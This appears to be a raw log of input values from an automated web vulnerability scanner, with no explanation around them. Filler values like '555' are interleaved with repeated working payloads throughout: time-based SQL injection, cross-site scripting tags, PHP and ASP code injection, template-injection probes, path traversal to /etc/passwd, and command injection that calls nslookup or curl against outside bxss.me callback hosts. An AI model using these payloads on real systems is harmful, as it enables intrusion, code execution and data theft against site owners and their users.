'A'.concat(70-3).concat(22*4).concat(115).concat(86).concat(103).concat(81)+(require'socket' Socket.gethostbyname('hitgi'+'afjoykuff8a91.bxss.me.')[3].to_s)
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
<!--
555
555
555
555
555
'"()
555
555
555'&&sleep(27*1000)*simiie&&'
555
555
555"&&sleep(27*1000)*ayrwpo&&"
555
555'||sleep(27*1000)*hyiyoo||'
555
555
555"||sleep(27*1000)*wvuprv||"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
';print(md5(31337));$a='
555
";print(md5(31337));$a="
555
555
555
${@print(md5(31337))}
555
${@print(md5(31337))}\
555
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
555
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >MdBT(9538)</ScRiPt>
555
555
'"()&%<zzz><ScRiPt >MdBT(9846)</ScRiPt>
555
555
555
555
555
5559842605
555
555
555
bfg1315%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1315
555
555*if(now()=sysdate(),sleep(15),0)
bfgx5656%C0%BEz1%C0%BCz2a%90bcxhjl5656
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
<%={{={@{#{${dfb}}%>
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
<th:t="${dfb}#foreach
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1; waitfor delay '0:0:15' --
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555-1); waitfor delay '0:0:15' --
555
dfb{{98991*97996}}xca
555-1 waitfor delay '0:0:15' --
555
dfb[[${98991*97996}]]xca
555VJjHy0Xl'; waitfor delay '0:0:15' --
555
555-1 OR 200=(SELECT 200 FROM PG_SLEEP(15))--
dfb__${98991*97996}__::.x
555
555-1) OR 53=(SELECT 53 FROM PG_SLEEP(15))--
555-1)) OR 523=(SELECT 523 FROM PG_SLEEP(15))--
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555UMKwNY49' OR 154=(SELECT 154 FROM PG_SLEEP(15))--
555
555BN4zGZ7E') OR 727=(SELECT 727 FROM PG_SLEEP(15))--
555<ScRiPt >MdBT(9827)</ScRiPt>
555hF81nNQt')) OR 601=(SELECT 601 FROM PG_SLEEP(15))--
555
555<WHGBJ5>JZN65[!+!]</WHGBJ5>
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555<script>MdBT(9955)</script>
555'"
@@2rxfY
555
555
555<script>MdBT(9930)</script>9930
555
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4D%64%42%54%28%39%33%35%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555<ScRiPt >MdBT(9100)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9722></ScRiPt>
555< ScRiPt >MdBT(9564)</ScRiPt>
555
555
555<isindex type=image src=1 onerror=MdBT(9321)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9132'>
555
555<body onload=MdBT(9878)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=MdBT(9992)>
555
555
555<img src=xyz OnErRor=MdBT(9526)>
555
555
555
555<img/src=">" onerror=alert(9516)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%4D%64%42%54%289938%29%3C%2F%73%43%72%69%70%54%3E
555
555
555\u003CScRiPt\MdBT(9329)\u003C/sCripT\u003E
555
555
555<ScRiPt>MdBT(9915)</sCripT>
555
555
555
555<input autofocus onfocus=MdBT(9940)>
555
555
<a HrEF=http://xss.bxss.me></a>
555
555
<a HrEF=jaVaScRiPT:>
555
555
555}body{zzz:Expre/**/SSion(MdBT(9532))}
555
555
555
555fdExq <ScRiPt >MdBT(9381)</ScRiPt>
555
555
555<WWIMOD>7XWEL[!+!]</WWIMOD>
555
555
555<ifRAme sRc=9135.com></IfRamE>
555
555<a4oEETf x=9633>
555
555
555<img sRc='http://attacker-9536/log.php?
555
555
555<acyw2a5<
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
555
555
1lChXpttO
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
/etc/shells
555
../../../../../../../../../../../../../../etc/shells
555
c:/windows/win.ini
555
bxss.me
555
555
555
555
${9999773+10000348}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9808472*9798672)
555
'+response.write(9808472*9798672)+'
"+response.write(9808472*9798672)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
GDPCi7q3
555
YFYfP9I3: Nprhn6iO
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
file:///etc/passwd
555
echo yjhwsc$()\ cohmfi\nz^xyu||a #' &echo yjhwsc$()\ cohmfi\nz^xyu||a #|" &echo yjhwsc$()\ cohmfi\nz^xyu||a #
../555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
&echo tvtcdq$()\ aqlvvc\nz^xyu||a #' &echo tvtcdq$()\ aqlvvc\nz^xyu||a #|" &echo tvtcdq$()\ aqlvvc\nz^xyu||a #
555
555&echo jxxajb$()\ wxgxll\nz^xyu||a #' &echo jxxajb$()\ wxgxll\nz^xyu||a #|" &echo jxxajb$()\ wxgxll\nz^xyu||a #
555
|echo cynvkq$()\ gkazhb\nz^xyu||a #' |echo cynvkq$()\ gkazhb\nz^xyu||a #|" |echo cynvkq$()\ gkazhb\nz^xyu||a #
555
555|echo noxfcp$()\ zxgwxd\nz^xyu||a #' |echo noxfcp$()\ zxgwxd\nz^xyu||a #|" |echo noxfcp$()\ zxgwxd\nz^xyu||a #
555
(nslookup -q=cname hitfyphtryzfj5212f.bxss.me||curl hitfyphtryzfj5212f.bxss.me))
555
555
$(nslookup -q=cname hitncxwdpulgz1c773.bxss.me||curl hitncxwdpulgz1c773.bxss.me)
555
&nslookup -q=cname hitbpojnbsizn49aef.bxss.me&'\"`0&nslookup -q=cname hitbpojnbsizn49aef.bxss.me&`'
555
555
555
555
&(nslookup -q=cname hitrfzdznjfdx04290.bxss.me||curl hitrfzdznjfdx04290.bxss.me)&'\"`0&(nslookup -q=cname hitrfzdznjfdx04290.bxss.me||curl hitrfzdznjfdx04290.bxss.me)&`'
|(nslookup -q=cname hitsjxhuzrolpb5782.bxss.me||curl hitsjxhuzrolpb5782.bxss.me)
555
555
`(nslookup -q=cname hittylpbxnvvm83156.bxss.me||curl hittylpbxnvvm83156.bxss.me)`
555
555
;(nslookup -q=cname hitxwyfropxry4fa02.bxss.me||curl hitxwyfropxry4fa02.bxss.me)|(nslookup -q=cname hitxwyfropxry4fa02.bxss.me||curl hitxwyfropxry4fa02.bxss.me)&(nslookup -q=cname hitxwyfropxry4fa02.bxss.me||curl hitxwyfropxry4fa02.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitajnxqinhjtd1eb4.bxss.me||curl${IFS}hitajnxqinhjtd1eb4.bxss.me)
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitmtvnbercfuc09ed.bxss.me||curl${IFS}hitmtvnbercfuc09ed.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmtvnbercfuc09ed.bxss.me||curl${IFS}hitmtvnbercfuc09ed.bxss.me)&`'
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hittx'.'kykryjhvd1dd1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(77).chr(97).chr(89).'
555
555
".gethostbyname(lc("hitfc"."pyobzane30a80.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(78).chr(103).chr(74)."
555
"+"A".concat(70-3).concat(22*4).concat(117).concat(74).concat(101).concat(74)+(require"socket" Socket.gethostbyname("hites"+"gdzwkseq602c7.bxss.me.")[3].to_s)+"
gethostbyname(lc('hitlf'.'ykojhvkmc1d37.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(66).chr(101).chr(69)
'+'A'.concat(70-3).concat(22*4).concat(114).concat(70).concat(122).concat(77)+(require'socket' Socket.gethostbyname('hityf'+'qhndhqyw9f4c6.bxss.me.')[3].to_s)+'
555
555
'A'.concat(70-3).concat(22*4).concat(97).concat(65).concat(105).concat(82)+(require'socket' Socket.gethostbyname('hitcg'+'cgrkanvzc970d.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
555
555
555
555
!(()&&!|*|*|
555
555
555
555
555
${10000162+10000009}
555
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
response.write(9274078*9015700)
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
'+response.write(9274078*9015700)+'
555
555
/etc/shells
555
"+response.write(9274078*9015700)+"
555
555
555
5zoUjyb1
555
../../../../../../../../../../../../../../etc/shells
555
BHfFGWUF: ATQSKlnD
c:/windows/win.ini
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555'&&sleep(27*1000)*vpovuu&&'
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555"&&sleep(27*1000)*hwsmos&&"
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555'||sleep(27*1000)*qhtyug||'
555
file:///etc/passwd
555
555
555
555
555
555
555
555
555"||sleep(27*1000)*pivqjk||"
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
../555
555
555
555
555
555
555
'"
';print(md5(31337));$a='
555
555
555
<!--
555
555
555
555
'.gethostbyname(lc('hitwy'.'srnlecuka0c1a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(82).chr(120).chr(71).'
";print(md5(31337));$a="
555
555
555
555
${@print(md5(31337))}
555
555
".gethostbyname(lc("hitsg"."giaostfg2108f.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(76).chr(118).chr(89)."
555
555
555
${@print(md5(31337))}\
"+"A".concat(70-3).concat(22*4).concat(107).concat(76).concat(118).concat(77)+(require"socket" Socket.gethostbyname("hitwn"+"jphoimzbafc06.bxss.me.")[3].to_s)+"
555
555
555
gethostbyname(lc('hitdv'.'saxdoiwid9a87.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(69).chr(109).chr(79)
555
555
'.print(md5(31337)).'
'+'A'.concat(70-3).concat(22*4).concat(119).concat(80).concat(122).concat(68)+(require'socket' Socket.gethostbyname('hitgk'+'ugooeefr9f55d.bxss.me.')[3].to_s)+'
echo mqwtka$()\ tqpufb\nz^xyu||a #' &echo mqwtka$()\ tqpufb\nz^xyu||a #|" &echo mqwtka$()\ tqpufb\nz^xyu||a #
555
555
555
555
555
&echo iqtcer$()\ edrrdp\nz^xyu||a #' &echo iqtcer$()\ edrrdp\nz^xyu||a #|" &echo iqtcer$()\ edrrdp\nz^xyu||a #
'A'.concat(70-3).concat(22*4).concat(120).concat(84).concat(107).concat(80)+(require'socket' Socket.gethostbyname('hitoc'+'fcujjhui3fdb2.bxss.me.')[3].to_s)
<?php print(md5(31337));?>
555
555
555
555&echo xlfcko$()\ cmwxns\nz^xyu||a #' &echo xlfcko$()\ cmwxns\nz^xyu||a #|" &echo xlfcko$()\ cmwxns\nz^xyu||a #
555
555
555
555
'{${print(md5(31337))}}'
555
|echo yhmlzi$()\ qsolox\nz^xyu||a #' |echo yhmlzi$()\ qsolox\nz^xyu||a #|" |echo yhmlzi$()\ qsolox\nz^xyu||a #
555
555
555
555
555
555
555
print(md5(31337));//
555|echo fbglez$()\ nmggzg\nz^xyu||a #' |echo fbglez$()\ nmggzg\nz^xyu||a #|" |echo fbglez$()\ nmggzg\nz^xyu||a #
555
{php}print(md5(31337));{/php}
555
555
555
(nslookup -q=cname hitzxykpwvxiz98cee.bxss.me||curl hitzxykpwvxiz98cee.bxss.me))
555
[php]print(md5(31337));[/php]
555
555
$(nslookup -q=cname hitlumknnyxcjd7a2e.bxss.me||curl hitlumknnyxcjd7a2e.bxss.me)
555
555
555
555
&nslookup -q=cname hitvgrwhhqqts56aae.bxss.me&'\"`0&nslookup -q=cname hitvgrwhhqqts56aae.bxss.me&`'
555
555
555
&(nslookup -q=cname hitrcrosvcqlw9c551.bxss.me||curl hitrcrosvcqlw9c551.bxss.me)&'\"`0&(nslookup -q=cname hitrcrosvcqlw9c551.bxss.me||curl hitrcrosvcqlw9c551.bxss.me)&`'
555
555
|(nslookup -q=cname hittohcauxijq4b0b7.bxss.me||curl hittohcauxijq4b0b7.bxss.me)
555
555
555
555
555
555
`(nslookup -q=cname hitcwdwxhjubw5a861.bxss.me||curl hitcwdwxhjubw5a861.bxss.me)`
555
555
;(nslookup -q=cname hitfnuicqfsel8b0af.bxss.me||curl hitfnuicqfsel8b0af.bxss.me)|(nslookup -q=cname hitfnuicqfsel8b0af.bxss.me||curl hitfnuicqfsel8b0af.bxss.me)&(nslookup -q=cname hitfnuicqfsel8b0af.bxss.me||curl hitfnuicqfsel8b0af.bxss.me)
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitqtxrxcoxzf13521.bxss.me||curl${IFS}hitqtxrxcoxzf13521.bxss.me)
555
555
555
555
xfs.bxss.me
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitcplxzfsggqbe2a0.bxss.me||curl${IFS}hitcplxzfsggqbe2a0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcplxzfsggqbe2a0.bxss.me||curl${IFS}hitcplxzfsggqbe2a0.bxss.me)&`'
555
555
555
1
555
555
'"
555
555
1
555
<!--
555
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
555
555'&&sleep(27*1000)*hraryu&&'
555
";print(md5(31337));$a="
555
555"&&sleep(27*1000)*frbgzw&&"
555
555
555
${@print(md5(31337))}
555'||sleep(27*1000)*xyavsy||'
555
${@print(md5(31337))}\
555"||sleep(27*1000)*gimceb||"
555
555
1
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
1
555
print(md5(31337));//
555
555
1
{php}print(md5(31337));{/php}
555
555
1
[php]print(md5(31337));[/php]
1
555
1
555
555
555
1
555
555
555
555
555
1
555
555
1
555
1
555
555
1
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
1
555
555
555
555
555
1
555
555
1
555
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1
1
1
1
555
555
555
555
555
555
555
555
555
555
)
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
555
/etc/shells
555
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
${9999504+9999294}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9881859*9971325)
'+response.write(9881859*9971325)+'
"+response.write(9881859*9971325)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
WSTGmq4o
555
4W8g7YvJ: eAhycy23
555
555
555
555
555
555
555
555
555
555
555
echo itsgfo$()\ okafzz\nz^xyu||a #' &echo itsgfo$()\ okafzz\nz^xyu||a #|" &echo itsgfo$()\ okafzz\nz^xyu||a #
555
555
../../../../../../../../../../../../../../etc/passwd
555
&echo wyvyxv$()\ jzbafm\nz^xyu||a #' &echo wyvyxv$()\ jzbafm\nz^xyu||a #|" &echo wyvyxv$()\ jzbafm\nz^xyu||a #
../../../../../../../../../../../../../../windows/win.ini
555&echo rnflch$()\ phnaed\nz^xyu||a #' &echo rnflch$()\ phnaed\nz^xyu||a #|" &echo rnflch$()\ phnaed\nz^xyu||a #
555
file:///etc/passwd
|echo nidvrj$()\ fzkgbl\nz^xyu||a #' |echo nidvrj$()\ fzkgbl\nz^xyu||a #|" |echo nidvrj$()\ fzkgbl\nz^xyu||a #
555
555
../555
555|echo jiryqq$()\ ihqnaf\nz^xyu||a #' |echo jiryqq$()\ ihqnaf\nz^xyu||a #|" |echo jiryqq$()\ ihqnaf\nz^xyu||a #
(nslookup -q=cname hitmgjmldzmzm087be.bxss.me||curl hitmgjmldzmzm087be.bxss.me))
$(nslookup -q=cname hitfrfpcexwwi14aa0.bxss.me||curl hitfrfpcexwwi14aa0.bxss.me)
&nslookup -q=cname hitndaiukaeyfdcca0.bxss.me&'\"`0&nslookup -q=cname hitndaiukaeyfdcca0.bxss.me&`'
555
&(nslookup -q=cname hitsovmejegwbaa3b7.bxss.me||curl hitsovmejegwbaa3b7.bxss.me)&'\"`0&(nslookup -q=cname hitsovmejegwbaa3b7.bxss.me||curl hitsovmejegwbaa3b7.bxss.me)&`'
555
555
|(nslookup -q=cname hitqwduyunawha8be1.bxss.me||curl hitqwduyunawha8be1.bxss.me)
555
555
555
`(nslookup -q=cname hitpzpowrqkac70ea0.bxss.me||curl hitpzpowrqkac70ea0.bxss.me)`
555
;(nslookup -q=cname hitiwynvcdvtb32cc6.bxss.me||curl hitiwynvcdvtb32cc6.bxss.me)|(nslookup -q=cname hitiwynvcdvtb32cc6.bxss.me||curl hitiwynvcdvtb32cc6.bxss.me)&(nslookup -q=cname hitiwynvcdvtb32cc6.bxss.me||curl hitiwynvcdvtb32cc6.bxss.me)
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitqmunktmaim27e3c.bxss.me||curl${IFS}hitqmunktmaim27e3c.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hittpwkeqyllsb9942.bxss.me||curl${IFS}hittpwkeqyllsb9942.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittpwkeqyllsb9942.bxss.me||curl${IFS}hittpwkeqyllsb9942.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
'.gethostbyname(lc('hityi'.'skzznlqf0fead.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(65).chr(98).chr(72).'
555
555
555
555
".gethostbyname(lc("hitoa"."frxgziwc9a585.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(78).chr(100).chr(67)."
555
555
gethostbyname(lc('hitvo'.'ygtuxfcuf81ab.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(75).chr(99).chr(89)
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(98).concat(82).concat(103).concat(75)+(require"socket" Socket.gethostbyname("hitqh"+"uotzjccoaf160.bxss.me.")[3].to_s)+"
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(106).concat(69).concat(97).concat(73)+(require'socket' Socket.gethostbyname('hitsa'+'wncmpcorbd66d.bxss.me.')[3].to_s)+'
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(118).concat(80).concat(118).concat(72)+(require'socket' Socket.gethostbyname('hitae'+'bvacejgr676d7.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
555
';print(md5(31337));$a='
'"()
555
xfs.bxss.me
555
555'&&sleep(27*1000)*wdfurt&&'
";print(md5(31337));$a="
555
555"&&sleep(27*1000)*vbgkpo&&"
555
${@print(md5(31337))}
555
555'||sleep(27*1000)*igcxmw||'
555
555
555
${@print(md5(31337))}\
555
555"||sleep(27*1000)*qiomdp||"
555
555
'"
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
'{${print(md5(31337))}}'
555
555
<!--
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
555
555
!(()&&!|*|*|
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
555
555
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
Http://bxss.me/t/fit.txt
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
/etc/shells
555
${9999081+10000215}
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
c:/windows/win.ini
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9127601*9395619)
'+response.write(9127601*9395619)+'
555
555
"+response.write(9127601*9395619)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
w0vHJuta
555
555
Y2DkVEu9: gmx9inG4
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
file:///etc/passwd
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
../555
555
555
'.gethostbyname(lc('hitmq'.'bqkmveux53c55.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(82).chr(115).chr(88).'
555
".gethostbyname(lc("hittx"."sdehsret16bba.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(80).chr(104).chr(71)."
555
555
"+"A".concat(70-3).concat(22*4).concat(109).concat(84).concat(98).concat(70)+(require"socket" Socket.gethostbyname("hittj"+"ekyrzhli5a6dd.bxss.me.")[3].to_s)+"
gethostbyname(lc('hitzp'.'vbtqdtmb0eb97.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(77).chr(115).chr(78)
555
'+'A'.concat(70-3).concat(22*4).concat(118).concat(89).concat(118).concat(77)+(require'socket' Socket.gethostbyname('hitza'+'qqibzangcf698.bxss.me.')[3].to_s)+'
555
555
555
'A'.concat(70-3).concat(22*4).concat(109).concat(84).concat(101).concat(74)+(require'socket' Socket.gethostbyname('hitvz'+'xahikura4e61a.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo rlhche$()\ qtkmnh\nz^xyu||a #' &echo rlhche$()\ qtkmnh\nz^xyu||a #|" &echo rlhche$()\ qtkmnh\nz^xyu||a #
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
&echo plqkxb$()\ vfgqmw\nz^xyu||a #' &echo plqkxb$()\ vfgqmw\nz^xyu||a #|" &echo plqkxb$()\ vfgqmw\nz^xyu||a #
555
555
555&echo xfxteg$()\ ugtvzt\nz^xyu||a #' &echo xfxteg$()\ ugtvzt\nz^xyu||a #|" &echo xfxteg$()\ ugtvzt\nz^xyu||a #
555
555
xfs.bxss.me
555
555
|echo kvgoha$()\ mvqtjn\nz^xyu||a #' |echo kvgoha$()\ mvqtjn\nz^xyu||a #|" |echo kvgoha$()\ mvqtjn\nz^xyu||a #
555
555
555|echo lmxgso$()\ gazfor\nz^xyu||a #' |echo lmxgso$()\ gazfor\nz^xyu||a #|" |echo lmxgso$()\ gazfor\nz^xyu||a #
555
555
(nslookup -q=cname hiteregniirze6bce5.bxss.me||curl hiteregniirze6bce5.bxss.me))
555
555
555
555
$(nslookup -q=cname hitxxthzyuyvv15b1f.bxss.me||curl hitxxthzyuyvv15b1f.bxss.me)
555
555
555
&nslookup -q=cname hitrcvpyqsnjya034f.bxss.me&'\"`0&nslookup -q=cname hitrcvpyqsnjya034f.bxss.me&`'
555
555
&(nslookup -q=cname hitozukhvkkmg70169.bxss.me||curl hitozukhvkkmg70169.bxss.me)&'\"`0&(nslookup -q=cname hitozukhvkkmg70169.bxss.me||curl hitozukhvkkmg70169.bxss.me)&`'
555
'"
555
555
555
|(nslookup -q=cname hitlucceykjsd95abf.bxss.me||curl hitlucceykjsd95abf.bxss.me)
<!--
555
555
`(nslookup -q=cname hitgwptrndcfr5944a.bxss.me||curl hitgwptrndcfr5944a.bxss.me)`
555
555
;(nslookup -q=cname hitohhteuadtg0460c.bxss.me||curl hitohhteuadtg0460c.bxss.me)|(nslookup -q=cname hitohhteuadtg0460c.bxss.me||curl hitohhteuadtg0460c.bxss.me)&(nslookup -q=cname hitohhteuadtg0460c.bxss.me||curl hitohhteuadtg0460c.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitvgbxqthgjp41374.bxss.me||curl${IFS}hitvgbxqthgjp41374.bxss.me)
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitkgrgjdfedvdc7f3.bxss.me||curl${IFS}hitkgrgjdfedvdc7f3.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkgrgjdfedvdc7f3.bxss.me||curl${IFS}hitkgrgjdfedvdc7f3.bxss.me)&`'
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
${@print(md5(31337))}\
'"()
'.print(md5(31337)).'
<?php print(md5(31337));?>
555
555'&&sleep(27*1000)*trbkws&&'
'{${print(md5(31337))}}'
555"&&sleep(27*1000)*sgiwus&&"
print(md5(31337));//
555'||sleep(27*1000)*tdeicq||'
{php}print(md5(31337));{/php}
555
555"||sleep(27*1000)*gjaqfp||"
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555-1; waitfor delay '0:0:15' --
555
555
555-1); waitfor delay '0:0:15' --
555
555
555-1 waitfor delay '0:0:15' --
555
555
